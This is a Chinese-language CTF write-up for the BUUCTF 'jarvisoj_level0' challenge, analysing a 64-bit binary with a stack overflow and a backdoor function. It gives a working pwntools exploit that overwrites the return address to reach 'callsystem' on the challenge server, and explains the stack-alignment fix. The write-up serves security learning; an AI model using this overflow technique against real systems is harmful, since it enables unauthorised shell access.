BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
iOS技术狂热者1 小时前
wireshak抓手机包 wifi手机抓包工具
websocket·网络协议·tcp/ip·http·网络安全·https·udp
christine-rr3 小时前
密码学基础——DES算法
安全·网络安全·密码学·密码
写代码的小王吧6 小时前
【安全】Java幂等性校验解决重复点击(6种实现方式)
java·linux·开发语言·安全·web安全·网络安全·音视频
半路_出家ren6 小时前
VRRP(虚拟路由器冗余协议)、虚拟路由器、master路由器、backup路由器
网络·网络安全·路由器·网络设备·vrrp·master路由器·backup路由器
huan666*7 小时前
CTF类题目复现总结-hashcat 1
ctf·office文件密码破解·john工具使用
vortex57 小时前
Bash中因数值比较引发的提权漏洞:数组注入与任意命令执行
linux·开发语言·安全·网络安全·渗透测试·bash
一口一个橘子8 小时前
[ctfshow web入门] web5
web安全·网络安全
木cooc12 小时前
[WUSTCTF2020]CV Maker1
网络安全
炫彩@之星12 小时前
mysql-getshell的几种方法
mysql·网络安全·渗透测试·getshell
写代码的小王吧14 小时前
【网络安全】安全的网络设计
网络·网络协议·tcp/ip·安全·web安全·网络安全·docker